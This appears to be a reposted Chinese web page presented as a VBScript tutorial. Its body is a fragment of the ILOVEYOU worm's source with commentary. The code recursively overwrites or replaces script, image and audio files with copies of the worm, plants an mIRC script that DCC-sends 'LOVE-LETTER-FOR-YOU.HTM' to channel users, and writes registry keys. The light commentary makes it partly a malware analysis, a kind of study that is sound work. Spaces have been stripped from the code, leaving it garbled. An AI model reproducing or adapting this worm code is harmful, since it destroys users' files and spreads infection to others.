vbscript，jscript脚本编程教学（1）
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| ''f1为每一个子文件夹的对象 infectfiles(f1.path)''传染文件的操作 folderlist(f1.path)''再次进行文件夹遍历 next endsub sublistadriv ''遍历所有驱动器。 OnErrorResumeNext Dimd,dc,s Setdc=fso.Drives ForEachdindc Ifd.DriveType=2ord.DriveType=3Then''2.3分别为硬盘和网络共享盘 folderlist(d.path&"\") endif Next listadriv=s endsub functionfileexist(filespec) ''判断文件是否存在 ''纯粹从技术角度讲，这段程序写的不怎么样。 ''不用写这么长就能够实现相同的功能 OnErrorResumeNext dimmsg if(fso.FileExists(filespec))Then msg=0 else msg=1 endif fileexist=msg endfunction functionfolderexist(folderspec) ''判断文件夹是否存在 ''和上一段程序一样臭。 OnErrorResumeNext dimmsg if(fso.GetFolderExists(folderspec))then msg=0 else msg=1 endif fileexist=msg endfunction subinfectfiles(folderspec) ''执行传染文件的操作。 OnErrorResumeNext dimf,f1,fc,ext,ap,mircfname,s,bname,mp3 setf=fso.GetFolder(folderspec) setfc=f.Files''得到某一特定文件夹的所有文件，包括系统隐藏文件 foreachf1infc ext=fso.GetExtensionName(f1.path)''得到扩展名 ext=lcase(ext)''转变为小写 s=lcase(f1.name) if(ext="vbs")or(ext="vbe")then setap=fso.OpenTextFile(f1.path,2,true) ap.writevbscopy''vbscopy=file.ReadAll ap.close elseif(ext="js")or(ext="jse")or(ext="css")or(ext="wsh")or(ext= "sct")or(ext="hta")then setap=fso.OpenTextFile(f1.path,2,true) ap.writevbscopy ap.close bname=fso.GetBaseName(f1.path) setcop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg")or(ext="jpeg")then setap=fso.OpenTextFile(f1.path,2,true) ap.writevbscopy ap.close setcop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3")or(ext="mp2")then setmp3=fso.CreateTextFile(f1.path&".vbs") mp3.writevbscopy mp3.close setatt=fso.GetFile(f1.path) att.attributes=att.attributes+2 endif if(eq<>folderspec)then if(s="mirc32.exe")or(s="mlink32.exe")or(s="mirc.ini")or(s="scri pt.ini")or(s="mirc.hlp")then setscriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine"[script]" scriptini.WriteLine";mIRCScript" scriptini.WriteLine";Pleasedonteditthisscript...mIRCwillcorru pt,ifmIRCwill" scriptini.WriteLine"corrupt...WINDOWSwillaffectandwillnotrun correctly.thanks" ''病毒作者的英文恐怕没学好……不过，这样吓唬人也够损的了。 ''这里提醒各位注意，不要在乎那些吓人的文字，仔细观察就会发现漏洞其实不 少。 scriptini.WriteLine";" scriptini.WriteLine";KhaledMardam-Bey" scriptini.WriteLine";http://www.mirc.com" scriptini.WriteLine";" scriptini.WriteLine"n0=on1:JOIN:#:{" scriptini.WriteLine"n1=/if($nick==$me){halt}" scriptini.WriteLine"n2=/.dccsend$nick"&dirsystem&"\LOVE-LETTER-FO R-YOU.HTM" scriptini.WriteLine"n3=}" ''注意，这样做的结果是，MIRC也能够传染病毒。 scriptini.close eq=folderspec endif endif next endsub subregcreate(regkey,regvalue) ''修改注册表（创建键值） ''这个程序似乎是微软的示范程序。 Setregedit=CreateObject("WScript.Shell") regedit.RegWriteregkey,regvalue endsub functionregget(value) ''这个程序似乎也是微软的示范程序。(WSH示范，在Windows文件夹) Setregedit=Crea |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于vbscript，jscript脚本编程教学（1）的所有评论
